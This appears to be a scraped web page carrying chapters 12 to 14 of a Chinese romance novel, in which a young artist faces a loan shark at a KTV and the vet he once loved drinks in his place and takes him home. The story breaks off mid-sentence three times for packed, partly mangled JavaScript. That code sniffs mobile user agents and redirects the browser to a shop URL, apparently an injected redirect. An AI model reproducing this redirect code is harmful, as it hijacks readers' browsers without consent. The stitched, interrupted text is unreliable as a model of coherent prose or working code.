l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044877|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捧着碗吃得很认真,指指茶几上那几盘菜:“你做得挺好吃的,在家常做?”
闻影含糊说:“做啊,不做喝风啊?”
这个年纪的男孩儿,不少在家里都是衣来伸手饭来张口的,不管贫穷还是富裕,但闻影什么都会,也都懂,难免让晏关山猜测他家里人疏于照顾,才练就了闻影这一身生活技能,但晏关山没有问。
会的多有原因,一样不会也有原因,闻影该上学的年纪头破血流倒在医院门口有原因,晏关山自己窝在员工宿舍过捉襟见肘的生活也有原因。这些原因恐怕难以宣之于口,出于自小的良好教养,晏关山没有越界去打听和探寻。
家里的饭菜少盐少油有严格的营养配比,吃多少吃哪些都是规定好的,面前这出自闻影之手的三菜一汤,油重盐重,番茄切得还巨大一块,可晏关山真心喜欢吃,吃得他情绪有点起伏,暂时分不清其中有没有感动,但他生出一种念头,想尝试交一回朋友。
晏关山主动问:“景三,你多大了?”
“唔,十八。”嘴里都是饭菜,闻影嚼吧嚼吧刻意强调,“就比你小一岁!”
晏关山诚实道:“不太像。”
闻影那会儿未成年,怕晏关山问他家里情况所以才说大了三岁,但他又矮又瘦面相还稚嫩,分明一个小男孩儿,哪像十八的人。
闻影用膝盖往旁边重重一磕,喷着饭粒说:“你丫是不是笑我呢!老子还长个儿呢,等着,年底就比你高了。”
对闻影说话不顾及偶尔带点脏晏关山已经习惯了,这样亲近的举动他在努力适应,至少能分辨出,撞击触碰嘴里不干净并非是带着敌意,是一种玩笑,是朋友之间的不顾忌,是不同的人性格使然。
“好。”晏关山一板一眼地回答,“我没笑你。”
“洗碗去。”吃饱了饭,闻影放下碗筷往后一瘫,侧脸看着晏关山说,“一人做饭一人洗碗,碗你总不至于不会洗吧?”
“我洗。”晏关山说,“你休息。”
……
“我跟他就这样莫名其妙地过起了日子。”
闻影把这段往事掐头去尾,隐去具体名姓和身份细节,当故事讲给边屹听:“那段时间我老去他家,我自己一个人待着也是待,去他那儿还有人说说话,做个饭吃,两个人一起还吃得香点儿。”
“然后就喜欢上人家了?”边屹不理解,“这说不通啊,你不说他是个生活白痴,还是个闷葫芦么,你跟闷葫芦能聊得起来?”
何止闷葫芦,晏关山那会儿的性格简直可以用冷淡来形容,可闻影热情啊,十六岁的男孩儿交朋友就是放得开又坦然,潜移默化的,晏关山也会改变。
边屹问:“你到底喜欢他什么啊?就长得帅?”
“是帅,学习好,做事儿认真。”表面的优点可以说一堆,但闻影心动不是因为这些,他垂着眼回忆,晏关山待他好,是毫无遮掩的把人放在心上的那种好。
第一次去超市买生活用品,晏关山精挑细选了两双拖鞋。一双自己用,一双给闻影。
家里多出了烫伤药和品种齐全的跌打损伤的药膏,纱布,药酒。
晏关山从来不喝饮料,尽管他没什么多余的钱,但会在冰箱里备好无糖茶饮,闻影喜欢喝。
晏关山学会做的第一道菜,就是油渣呛莲白,因为闻影强调过无数次,这是他最爱吃的东西。
这些东西不能老想,点滴生活就是丝丝缕缕编织成的精美锦缎,可分开的六年让锦缎腐朽不堪,越想越难受。
闻影总结陈词:“反正我俩没成。”
边屹听得兴致勃勃:“你可真能藏啊,以前不跟我说,怎么挑这会儿说了?是又遇见了?”
“憋得闹心。”闻影说,“想起来这茬就告诉你一声。”
边屹才不相信呢,问他:“遗憾是不?”
就算是也绝不承认!闻影生硬地打断:“我去刷牙。”
“欸?!”边屹吃瓜吃一半浑身不爽,“接着说啊,我这正听上头呢,三哥。”
边屹守在厕所门口看人刷牙,撒着娇,想再套些话出来,闻影懒得理他,突然听见门被敲响,边屹正要去开被闻影一把拉住:“别开!”
12.第 12 章
闻影神经紧绷把边屹也吓一跳,他扒着猫眼看了会儿,拉开门。
来的是费彦。
三个人大眼瞪小眼地愣了下,闻影皱眉问:“你怎么回来了?不是让你好好待着吗?”
“害,吓我一跳!”边屹摸着胸口说。
“不是,你俩反应怎么这么大。”费彦也觉得好笑,莫名被喷得一脸牙膏沫子,错开身进门,这才看到他吊着的胳膊,“想你们了就回来了,跨了年再走,而且边妈说你摔了,不得回来看看你?”
费彦剃了个短寸,常年在工地待晒得黢黑,倒显得健康又精神,他径直去冰箱里拿喝的,往厨房一站,看着边屹问:“我干点啥?”
“都弄差不多了你才来。”边屹说,“洗手去,等着吃吧。”
闻影瞪了边屹一眼:“他叫你瞒着的?”
边屹做了个鬼脸:“哎呀锅要糊了!你俩洗脸洗手麻利点,洗完来端菜。”
闻影心道还好边屹嘴没那么漏,知道什么能说什么不能说,费彦回都回来了,假期很短,收了假他赶紧走就完事儿。
三个人在闻影家大吃了一顿,边屹搞大餐喂饱兄弟俩只有一个要求:“晚上你俩得来给我撑场子,别人一看俩大帅哥给我们系加油,场子应当不会太冷清吧。欸,我粉底没带,三哥你这有吗?”
“只有颜料要不要。”闻影忙着吃随口回。
边屹习惯他怼人的口气,自顾自道:“那一会儿我还得回宿舍补下妆。”
费彦叼着半条小鱼:“我这大直男夹在你们两个gay中间,有时候也挺无助的。”
闻影用筷子戳他:“你丫不会说话就闭嘴吃鱼。”
边屹不放心又确认一遍:“吃了我的鱼,那晚上怎么说。”他捧着个小碗坐得端着,眼巴巴的样子柔弱可怜,摆明就是撒娇。
“来。”闻影低着头果断道。
费彦遭不住边屹撒娇,吐槽:“你就宠他吧,这都啥样了。”
闻影挑眉:“你不管?”
“管管管。”费彦笑得像地主家的傻儿子,看着边屹说,“您也是我妈。”
喝掉最后半杯酒,闻影被费彦推回客厅躺着,他和边屹一边在厨房洗碗一边互相怼来怼去,热热闹闹的。闻影看了眼窗外,寒冬白天的阳光刺不透云层,寡淡灰白,呼啸着北风,卷在半空不上不下的枯叶清冷孤独。
他竟然又这样混过了一年。
……
元旦晚会还没开始,各系学生就已经把大礼堂坐满了,过道都站着不少人,还好边屹提前安排了座位,闻影和费彦得以混在中文系的一堆姑娘里看演出。
费彦兴奋得语无伦次,不时和旁边的女生搭讪聊天,闻影则如坐针毡,满心烦躁。
他今天穿了条松垮的牛仔裤,上着黑色卫衣配毛呢夹克,整个人挺拔帅气,脑后扎着小揪再搭配他一贯的臭脸,随便往哪一站都是焦点。以至于坐下不到半小时,已经有三个人来要微信了。
费彦羡慕得要死:“少条胳膊都不影响人气,真是特么的……”
闻影撑着下巴歪过头来:“什么?”
“身残志坚。”费彦说。
闻影嗤笑:“这福气给你要不要?”
费彦:“当然要。”
闻影冷笑:“那明天带你去 gay 吧。”
“大可不必。”费彦立马变脸,“……哦,你意思不想要妹子加你,男的来加你你就高兴了。”
“不高兴,谁围着我都烦。”闻影话音刚落,礼堂灯光暗下去,主持人上台说开场词,然后校领导轮番上阵一顿辞旧迎新展望未来,节目就正式开始了。
闻影从小就讨厌集体活动,以前以为是自己心眼小,嫉妒别的小朋友周围簇拥着许多人,后来长大了才懂,置身热闹会放大自己的孤独。别人热不热闹不重要,闻影的负面情绪来自于这些热闹永远不会属于自己。
有了费彦和边屹,心里的洞补了一点,又有了……那个大洞像是快要填满,终归生活就是起起落落的,闻影觉得自己要再填满这个大洞怕是难了。
主持人报下一个节目是文学系的诗歌朗诵,闻影收回思绪坐直些,正想好好看看边妈版的《雨巷》有多离谱,手机收到了一条短信。
[陌生号码]:来皇冠 ktv888 房,面谈,敢吗?
黑暗中手机屏幕亮光太显眼,闻影低头看了半天,费彦转过头问:“怎么了?”
“没事。”闻影想都没想,第一次回复这个号码,很快摁灭手机。
舞台上,边屹声情并茂地念了什么闻影没听进去一个字,他在想是买把刀还是带根棍儿防身,又分析罗虎主动约他见面的目的,这傻逼应该不会蠢到一边留证据一边阴人,况且罗虎干的这勾当,谋财不至于害命。
诗朗诵节目结束,灯光亮起,演员们谢幕,闻影心不在焉地鼓掌,然后跟费彦简短说了句:“我有事出去一会儿。”
“欸?去哪儿啊,什么事啊。”费彦拉住他手臂,“不太急就等他过来,我们俩陪你去呗反正后面也没什么可看的了。”
“不用。”闻影怕他多想,特意交代,“你等着他,我完事儿会给你们打电话的。”
费彦觉得他表情怪怪的,皱了下眉:“真没事?”
闻影故作轻松:“能有什么事?导员找我聊画展的流程。”
闻影说完猫着腰把费彦死死摁在凳子上,很快就走了,费彦盯着他背影眉头越皱越深,心里隐隐有些不安。
闻影出了校门,打车去了那家KTV,下车后没急着上去,先去五金店买了把水果刀放兜里,这才上楼找人。
包厢里挤满了男男女女,各个吞云吐雾,酒气冲天,闻影直接推门进去。
看见他来,被人群围在中间嘶吼《友情岁月》的罗虎裂开嘴笑了,歌也不唱了,他捏着话筒喊:“景三来了,可以啊小子,来这儿坐。”
旁边的人识相地让开,罗虎拍拍身边的空位,闻影面无表情地坐了进去。
罗虎非要把这破歌唱完,然后才慢条斯理地点烟,翘起腿道:“知道这局攒来干嘛的吗?”
闻影看着他:“干嘛的?”
罗虎皮笑肉不笑说:“给老子接风洗尘的,庆祝老子出狱。”
闻影是最清楚他怎么进去的,他无视对方眼神里的威胁,冷冷道:“难道喊我来,还指望我跟你说句恭喜?”
罗虎笑得呛了口烟:“先喝酒,我俩的事儿慢慢说。”
“要说就快点说。”闻影不耐烦道。
“急什么?”罗虎吊儿郎当地喷了口烟,满意地看了眼闻影吊着地胳膊道,“你说我这蹲了三年,怎么着也得找你出出气不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068657|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是?”
闻影下巴一抬:“背后下黑手可真他妈有出息。”
“知道正面你不怕。”罗虎道,“现在还有人护着了,费彦那臭小子不挨你玩儿了?”
闻影脸色一黑:“你想说什么?”
“是你主动找上门给我带话,还问我想说什么。”罗虎扯了扯嘴角,“怕我动你朋友?那个兽医……”
闻影心里一紧,不自觉摸了摸裤兜:“你跟踪他?!”
罗虎弹了弹烟灰:“这条街上敢跟我叫板没几个,你也就算了,烂命一条,我就好奇你那小朋友哪来的勇气。”
闻影阴沉道:“我没朋友。”
“你有没有朋友,有多少,我都不怕。”罗虎往后一靠,画了个圈,意思一屋子的妖魔鬼怪都是小弟,但他话锋一转又道,“不过你今天敢来,有胆量,我就喜欢有胆量的人,所以只要把酒喝到位了,我愿意跟你心平气和地谈一谈,把事儿了了。”
听到最后,闻影终于挑眉:“行,喝。”
按照罗虎以前的性子,势必会在今天和闻影大打出手,但进过局子后格局打开,稳重了,选择了另一种折磨人的方式给他颜色看。
敬酒罚酒都得吃一遍,解了对方坐牢的怨恨,才有坐下谈的可能,闻影明白这个道理,如果放到以前,反正费彦不在本地,他跟对方鱼死网破也没什么好顾忌的,可罗虎言语间不断提起晏关山来,拿这个威胁他,他突然就有些豁不出去。
闻影心说,晏关山被人阴他管不着,反正是他自己去惹的麻烦,照那浑样像是还挺想找架打。
管他死活干嘛!
但闻影一杯接一杯地喝着,闷不做声,想尽快让罗虎松口,要钱谈钱,了结这件事。
这包厢很大,形形色色的社会人在罗虎示意下过来灌酒,从摇色子到划拳,还有穿着暴露的女人凑过来左右夹击,玩什么真心话大冒险,闻影嫌烦没搭理,提了几瓶没开的啤酒挤到罗虎跟前,往前一放。他没了耐心:“还要喝多少,你说句话。”
罗虎但笑不语。
旁边的人起哄道:“一晚上尽喝啤的老子嘴里淡出鸟,虎哥,我给你点洋的,咱掺着喝。”
“再上点深水炸弹,搞点新意啊,往里头加白的。”有人附和。
“给虎哥接风!不得什么色的都来点,景三,怎么说,你敢吗?”
闻影冷笑一声:“来啊。”
不多时服务生推车进来,洋的白的都有,又上了几大盘鸡尾酒,依次摆开,四张茶几将将放满,鸡尾酒点了火,照得闻影的脸晦暗不明。
罗虎发话:“喝完这些,以后有事儿我只找你聊,谈钱不伤人,好说。”
闻影指了指他,抬起面前的洋酒,闷了一整瓶。再之后的情形他就不怎么记得了,只觉得嘈杂得要命,这帮牛鬼蛇神疯狂起哄,空了的酒瓶马上被人抢走,又送过来新的,感觉怎么喝都喝不完似的。
嘈杂得令人反胃恶心,闻影一直憋着口气,不想吐出来,直到包厢门突然被人打开,这嘈杂才骤然停止。
不速之客站在门口,包厢里霎时安静下来,闻影杵着空酒瓶醉眼朦胧地抬起头,幻视了晏关山的脸。
屋内众人以为是走错房门,有几个正想骂几句,晏关山直勾勾地盯着闻影,冷漠开口:“我是景三的朋友,来带他走。”
13.第 13 章
闻影酒意上涌,也不知道是不是晏关山这张脸给人的刺激太强烈,他猛然站起来,捂着嘴就往外跑。
身后跟来了多少人他也顾不上,冲进卫生间把门一锁,吐得昏天黑地。
闻影酒量不差,但混着喝就是天王老子来了也得抱着马桶学龙叫,闻影吐了半天感觉胃都在痉挛,眼角因用力呕吐发红沁着泪,浑身出了一场大汗。
他还嫌不够,抠着小舌把能吐的酒都吐了,确定再也吐不出东西,才冲了马桶靠在墙上喘气,听见有人敲门,闻影懒得搭理,抽了好几张纸把手和脸都擦了擦。
持续了一阵的敲门声停下,突然“砰”地一声,被人从外面一脚踹开,闻影吓了一大跳,酒都醒了三分:“踹你……”
“妈”字被他生生咽下,因为抬头看见的是晏关山。
这幻觉怎么还跟到厕所来了,真变态。
晏关山一把将人扶住:“去医院。”
闻影呆呆地看着他。
晏关山摸兜拿出湿纸巾,伸手要替他擦脸,被一把打开。
晏关山说:“……我只是想帮你擦汗。”
“脏。”闻影哑着嗓子说。
他迷离地看着眼前人。
“不嫌你脏。”晏关山拽住他胳膊,半搂着架到了洗手台前,“你自己洗还是我来?”
“自己来,你别碰我。”闻影拧开水,愣了半天,鞠了一捧冷水砸到脸上,酒意被镇走大半。
晏关山瞥了眼卫生间门口贼眉鼠眼的人,靠在洗手台上道:“我带你去打一针解酒针。”
“不去。”闻影漱了漱口,“吐完了都,屁事没有。”
晏关山:“还要接着喝?”
闻影闷闷地“嗯”了声。
晏关山:“我刚才看见那天来找你麻烦的人也在,他们逼你喝?”
闻影:“我自愿来的。”
晏关山沉声问:“喝酒能解决问题?”
“喝完才能解决。你他妈烦不烦,关你什么事啊,赶紧走,这没你凑热闹的份儿。”闻影扭过头甩了对面几滴水珠,眼尾红红的,朝人无端龇牙像是恼羞成怒地撒娇。
晏关山吃不消这表情,他叹了口气:“行,喝完一起走,我也去。”
闻影凶狠道:“谁准你跟他们喝了?快点滚。”
晏关山怎么可能听话,有人要犟他就跟着犟。
“被这些人缠上很麻烦,这不是你该来的地方。”闻影无奈地说。
晏关山:“他们刚才已经看见我了,走不掉,况且你在这,我怎么走?”
“你走你的。”闻影坚决赶人。
晏关山把卫生间门拉开些,外头好几个小混混就等着他俩呢,他故意让闻影看的,然后说:“没事,我陪你。”
闻影掐了掐眉心:“谁他妈要你陪了。”
晏关山用他的话堵他的嘴:“我自愿陪的。”
闻影:“……”
晏关山还是半搂闻影的姿势把他架着出去了,闻影边骂边挣,可醉了酒的人走路都费劲,晏关山那么大个儿,看似轻轻环着其实把他牢牢锁在臂弯里了,闻影不是没看见罗虎那些跟出来的小弟,知道晏关山怕是很难先走,进包厢前他顿了下,扯住晏关山的衣服道:“你进去别说话,他们灌酒你就说过敏,别动手。”
晏关山诧异地看了他一眼,没吭声。
包厢里乌烟瘴气的,晏关山没忍住咳了一声,带闻影坐下后,罗虎毫不意外地把注意力投向晏关山。
晏关山没穿白大褂,藏蓝色大衣配牛仔裤,里面薄薄一件圆领毛衣,气质斯文正经,举手投足像个有钱人的样子,罗虎打量了半天,奇怪景三上哪儿认识的这种朋友。
和道上兄弟格格不入,和他景三也格格不入。
罗虎挑眉:“那天就是你打的人?”
晏关山淡淡道:“嗯,我打的。”
闻影:“……”
旁边人一边附和一边将酒放到面前:“你叫什么啊小兄弟,够莽的,没跟这片儿打听过咱虎哥?”
“知道你惹的人是谁吗?”有人笑嘻嘻地问。
晏关山有问有答:“没打听过,不知道虎哥是谁。”
一板一眼的摸样把周围人逗笑,闻影磨了磨后槽牙,后悔没更坚决地把人赶走。
罗虎:“你叫什么?”
“晏关山。”晏关山字字清晰地答。
罗虎两手撑在腿上,好好地看了眼晏关山:“今儿景三敢来,我觉得就是有诚意解决问题,不打架,今天谁也不许动手,你那天动的手,我可以不跟你计较,但今晚得按我规矩来。”
晏关山:“什么规矩?”
罗虎指指闻影:“喝到位,恩怨一笔勾销,有事再说事。景三不让我动你,但一码归一码,人是你打的,该你喝的躲不掉。”
晏关山瞥了闻影一眼,这人低着头,强撑着醉意,突然伸手去拿酒杯,晏关山将他手抓回来握着。
他的手很凉,闻影僵了下,喝麻了就这点不好,反应迟钝力气小小,连手被人家抓着都挣不开,随便碰一下就像是烫到。
晏关山看着罗虎:“行,剩下多少我来喝。”
闻影听笑了:“你脑子被门挤了?”
“景三,是你说要解决问题。”晏关山看他这一眼很严肃,凑到他耳边低声道,“我也觉得喝酒比动手好,我人都来了,他们也不会轻易放过,你别闹。”
“我闹……”闻影抽半天没抽出来手,喷着酒气无奈问,“你酒量怎么样?”
晏关山勉强道:“一般。”
闻影:“那还是我来……”
“所以一会儿喝醉了你照顾下我。”晏关山竟然还笑得出来,“可以吗?”
一个小时后,面若冰霜的晏关山迈着六亲不认的步伐,拎着独臂侠走出了包厢。
离开前闻影跟罗虎约了时间见面,不管是费彦还是晏关山,罗虎都答应不会再去找他俩的麻烦。
站在KTV门口等出租,冷风一吹,闻影的酒意算是彻底醒了,但他非常不确定晏关山醉到什么程度,别人喝酒越喝越兴奋,话多爱笑闹腾个没完,晏关山正相反,他越喝脸上的表情越少,话也不说了,因为面色发白,更显得冷峻。
闻影一只手伺候人本来就费劲,晏关山比他高些,现在半个身体的重量压过来,闻影咬着牙勉强撑住他:“想吐你就说。”
“……不想。”晏关山牙缝里挤出俩字儿。
闻影问:“去打个解酒针?”
晏关山摇头。
“你家住哪?”闻影掏出手机准备叫车。
“干嘛?”晏关山迷糊中透着一丝警惕。
“送你回去啊干嘛,不然老子给你扔大街上?”闻影凶他。
晏关山吐出一口气:“你爱扔就扔吧,我不回家。”
闻影没理他,隔了半晌,晏关山勾着个头含糊道:“你不是说过照顾人的吗?”
然后委屈地嘟哝:“三哥说话不算话。”
接着捂住胃:“好难受。”
闻影忍无可忍:“……你搁我这演戏?”
晏关山站直身子,深深望过来一眼,不答话。他脸色越来越白,没有笑意的眼睛看着像是生气,但闻影见这副模样见多了,知道晏关山在嘴笨不知道说什么和没办法不知道做什么的时候就会摆这冰山脸。
“真几把服了,不能喝你逞什么能?”闻影抹了下脸,见车来了,一把揪住晏关山的衣服,“醉鬼这边,上车!”
扔马路上是不可能的,闻影想过扔回宠物医院,可晏关山是个吃饭都遭同事嫌弃的人,喝了烂酒给人惹麻烦同事不加倍排挤他?找酒店开个房吧,万一夜里自己给自己呛死了,明天得被挂在社会新闻上。
还好这人喝醉了不闹腾,上了车身子一歪直接趴在闻影腿上开始睡,闻影懒得跟醉鬼计较,这才有空回电话给费彦。
对方接起来急得大吼:“你他妈干什么去了到底?在哪儿我俩现在过来,是不是有人找麻烦?”
闻影抓了抓耳朵:“跟朋友喝酒,刚结束,才看到未接。”
“才看到?”费彦语气很急,“我和边妈给你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093767|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打了不少于四十个电话,你到底干嘛去了啊?”
“紧张个屁,真喝酒去了,有个朋友喝多了我带他一起回去。”闻影问,“你俩没回去?”
“在你家楼下站了一宿,你再不接我们要报警了。”费彦喘着气说。
闻影失笑:“至于吗?行了你俩回吧,我快到家了。”
“不行,不看见你全须全尾的我俩不走。”费彦道,“边妈都快急哭了,就这样吧,小区门口见。”
闻影挂了电话,心道也好,费彦边屹看到醉鬼就不会多想了。
车到小区门口,费彦立马冲过来开门,见刚从闻影大腿上直起身的晏关山,费彦愣了半天:“他怎么在这儿啊?”
闻影没顾上费彦话里的奇怪之处,先下了车,往里拉着晏关山的胳膊:“搭把手。”
费彦和边屹围着车边把人拉出来,车里弥漫着浓重的酒气,边屹奇怪道:“晏哥怎么喝成这样?”
晏关山已经醒了,在车上睡了短暂的一觉,对解酒并没有多少作用,虽然还能直立行走,但意识模糊,理智也不剩多少,他看见面前两人同闻影说着话,又黑又壮的不知什么关系,但和闻影关系亲近接他回家的男妈妈也在。
晏关山不太爽,往闻影身上一靠,把眼睛闭上了。
三个人把晏关山折腾上楼,时间太晚了,闻影让他们回家别守着,费彦去药箱找解酒药,边屹从冰箱里把他给闻影备着的柠檬拿出来榨好,这才离开。
家里只剩他俩了,闻影突然对横在沙发上沉沉喘气的醉鬼不知如何是好。
闻影做了杯解酒的柠檬水端到客厅放着,然后打了一盆热水,捏着干净毛巾在晏关山旁边蹲下。
他个子太高,一长条睡在沙发上让人没地儿坐,闻影拧了下毛巾,刚要给人擦脸,顿了顿又把毛巾揉成一坨砸在盆中,溅起好多水花。
闻影恼羞成怒地喊:“晏关山,起来!自己洗脸!”
沙发上的人动了动,慢腾腾坐起来,艰难掀开眼皮,直勾勾地盯着对方,倏然薅着闻影的手臂,用了很大力将他拖到身边坐着。闻影一个踉跄砸进沙发,正想骂人,晏关山很快摸进他的裤兜,掏出一把刀。
闻影:“……”
晏关山捏着刀在眼前晃了晃,扒开刀鞘,用刀尖戳了下自己的大腿,闻影去抢没抢着:“有病啊你?”
“回来才发现你揣了这个。”晏关山把刀扔回茶几,重重地砸了一声,他问,“你想干什么?”
晏关山嗓子已经哑了,再沉声说话,加上看见这把刀后他生气了,质问的口气俨然是个严厉的家长。
闻影对这种状态的他还挺陌生的,习惯性说:“少管我!”
晏关山肉眼可见地变脸了:“没人管得了你,你就要和那些烂人同归于尽?”
闻影无所谓道:“不行?老子为民除害,就是同归于尽也要多拉几个垃圾垫背。”
晏关山眼神都凌厉了几分:“医院和监狱是什么好地方吗?”
“烂人去正好。”闻影还在犟。
“可你不是。”晏关山道,“你跟他们不一样。”
闻影失笑:“有什么不一样?你跟我们倒是挺不一样,所以叫你别来招惹,你惹不起,听懂了没?”
晏关山默不出声。
闻影:“虽然我不清楚你怎么会出现在那,但下次麻烦你绕道走,看见就当没看见,我的事你确实是管不着也没资格管。”
晏关山叹了口气:“我不会当没看见,我偏要多管闲事。”
闻影没有跟醉鬼掰头的爱好,不耐烦道:“老子不跟醉鬼一般见识,你爱怎么着怎么着吧。”
说完闻影起身去卫生间,晏关山握住他的手腕,这次没用力,晏关山手心滚烫,轻轻拉着,只想叫闻影停留片刻,别犟不过就跑。
“景三,我在乎你的死活,就会管到底。”晏关山语速很慢,说得却很认真,他卸掉刚才因为生气而严厉起来的口气,带了一丝恳求说,“以后还有这种情况你可以叫上我,喝酒还是打架都行,但别再揣刀了,行吗?”
14.第 14 章
把人折腾进卧室睡下已经凌晨两点,正是闻影最精神的时候,他洗了个澡回书房,坐在画架旁抽烟。
明知道晏关山讲的是醉话,第二天酒醒就不算数了,但是听见有人直白地说“我在乎你的死活”,闻影很难不受触动。
因为这点触动,他挤出一丝丝耐心,没把人甩在沙发不闻不问,而是让出卧室,自己去睡书房。
书房是闻影的画室,有一张小床可以睡觉,就算是边屹和费彦都不敢随便进这间屋子,一幅幅画好的没画好的画垒在墙角,闻影把一张五官模糊的人像素描放到了最里面。
闻影画过很多很多晏关山,从他六年前骤然出现在自己的生活里开始,到他把自己赶走,哪怕中间六年没见,闻影没跟人提过,画笔依旧不听使唤地描摹着这个人的轮廓。他觉得每画一张,就算放下了一点,总有一天能彻底放下,自己不该因为晏关山再次出现,说了几句咸淡话就多心。
他俩至多就是萍水相逢,不会再有故事了。
翌日,闻影醒得比较早,因为头天吐得差不多了,他没有宿醉的难受,精神还可以,刚打开门,就闻见了一股香味。
晏关山在厨房煎蛋。
他居然在煎蛋,闻影愣了下,瞌睡立马醒了,用五十米冲刺的速度跑过去,抢过对方手里的油瓶。
晏关山头发翘着一撮呆毛,眼睛也有些肿,看着呆呆的,解释道:“我做些三明治当早餐,看见有面包机冰箱里东西也多,就擅自开火了,不介意吧?”
闻影仿佛见了鬼:“老子怕你把厨房炸了,锅铲给我。”
“不用,我学会做饭了。”晏关山把油瓶抢回手里,“你先去洗漱,马上就好。”
闻影不太放心地看了半天,炸厨房真不是夸张,晏关山下厨是闻影亲手教的,当年那个场面之混乱至今还让闻影有心理阴影。
但好像晏关山真的学会下厨了,热锅倒油,往里磕蛋,加盐加黄油,轻轻翻面儿,动作熟练。
“叮咚”一声,面包机弹出两片烤好的面包。
闻影回过神,杵在这看他做饭很蠢,他去卫生间洗漱出来,想到什么,回卧室翻了东西捏在手里。
晏关山在客厅喊他:“做好了来吃吧,要喝咖啡还是牛奶?”
这人怎么跟回自己家一样理所当然。
闻影:“……牛奶。”
客厅茶几上很快摆上两盘早餐,一人一杯牛奶,三明治里有培根有煎蛋和新鲜菜叶子,看着挺像那么回事儿,闻影吸了吸鼻子,一定是他太久没吃过早点了,闻着怪香的。
“干净毛巾和牙刷在洗手台那,你不会没刷牙洗脸就来开火吧?”闻影嚼着东西问。
“早上看见了,洗漱完才做饭的。”晏关山慢条斯理地吃着东西,“我昨晚闹腾你没?”
闻影张口就来:“又哭又笑,满地打滚,烦死了!酒品这么烂以后就别沾酒。”
晏关山挑眉,显然不太信,但嘴上还是说:“好,听你的。”
闻影:“……”
气氛尴尬,闻影觉得不对劲,两个人醒过来在同一个屋子还一起吃早餐,哪哪都不对劲!
“内裤、袜子,都新的,买来有点大没穿过,不介意一会儿洗完澡穿这个。”闻影低着头把捏在手里的东西塞给旁边人。
晏关山愣了下顺手接过:“谢谢,你怎么让我睡了卧室,其实我哪儿都可以将就的,客房……”
“没客房。”闻影打断道,又解释,“书房闲杂人等不能进,反正有床,都一样。”
闲杂人等关切道:“你昨天喝得不少,胃难受么?”
“酒不就这样,吐了就没事了。”闻影说。
“头疼不疼?”晏关山又问。
闻影摇摇头,顿了顿问,“你疼?”
晏关山:“疼。”
不疼才怪了。
闻影拉开茶几抽屉找了半天芬必得,抠出一粒扔给他:“就着奶直接吃了,实在不行就请假。”
晏关山听话地吃了药:“院长不让请,医院很忙,人手不够。”
“……那你昨晚为什么来?”既然说到这了,闻影三两口吃完三明治,端着奶开始盘问,“说吧,你怎么找去 KTV 的?”
晏关山刚要开口,闻影立马道:“别扯犊子,偶遇啦碰巧啦不可能,老子从进去就没出来过,你怎么知道我在那里的?”
晏关山老实道:“跟踪。”
闻影:“???”
其实也不算真的跟踪,晏关山昨晚去了玉大的跨年晚会,许寰约在礼堂门口见面,给他画展的门票,去的时候还站在门口聊了会儿天,就是那时候看见闻影行色匆匆地走出来的。
晏关山描述当时情景:“我本来想跟你打个招呼,你走得太快了,没多一会儿你的朋友刚好出来,其中一个还跟我打了招呼,他们当时像是在找你,看着很急,我就问了一句。”
闻影:“……可我没跟他们讲去了哪。”
“又黑又壮的那个说你好像去的 ktv。”晏关山说。
费彦当时就坐在旁边,可能是回短信的时候看见了。但只说是 ktv,又没说哪一家,晏关山又是怎么精准找到他的?
闻影费解道:“你什么也不知道就找过来了?”
“找了几家就找到了。”晏关山轻描淡写地说,“还是花了点时间。”
其实从费彦说完可能是去 ktv 晏关山就头也不回地追出去了,从边屹支支吾吾又慌里慌张的状态来看,晏关山感觉事情不简单。
附近有 ktv 的地方只有堕落街,那边开了好几家,性质有区别,有的学生爱去,环境相对清爽些,有一家从装修到名字感觉多少沾点黄赌毒,地痞混混聚集较多。
晏关山找了两家没找见,直接去的这家,一间间包厢推开看,才找到闻影。
“再早点来,我不会让他们把你灌吐。”晏关山撇撇嘴,“我的。”
“这他妈是重点吗?”闻影有点无语,“你就不该来!”
晏关山又想起某个莽夫单刀赴会,平静道:“所以这些人到底为什么找你麻烦?”
闻影还是不太想说。他可以想象晏关山昨晚为了找到他有多费劲,在不知情的情况下,接受了别人灌酒,明明有脾气,忍着就为了带他全身而退。几次状况晏关山都看在眼里,憋到现在才问,闻影给句实话也是应该的。
晏关山耐心等着:“两个人想办法好过你一个人扛吧,我不会告诉别人的。”
“罗虎是放高利贷的。”闻影低声道,“前几年进了局子,是我报的警,所以放出来一直找我麻烦。”
晏关山有些吃惊,虽然印证了他关于这帮人不是普通混混的猜想,但因为闻影进了局子,事后打击报复不可能打个架喝点酒就轻轻揭过。
事情比他想的更复杂。
闻影说完看他这表情揶揄道:“我说了都是烂人,越掺合越脱不开身,以后闲事少管。”
晏关山放下杯子问:“你借了多少钱?”
闻影一愣:“啊?”
“连本带利,还欠他多少?”晏关山思路很清晰,分析道,“他既然愿意喝了酒跟你谈,那就是图钱,放贷的惜命爱钱,只要给钱他不会再找你麻烦。”
这道理还要你教?
闻影好笑道:“老子一个子儿都不会给他!”
晏关山很快说:“我给。”
闻影噎住:“……你脑子被门挤了啊晏关山。”
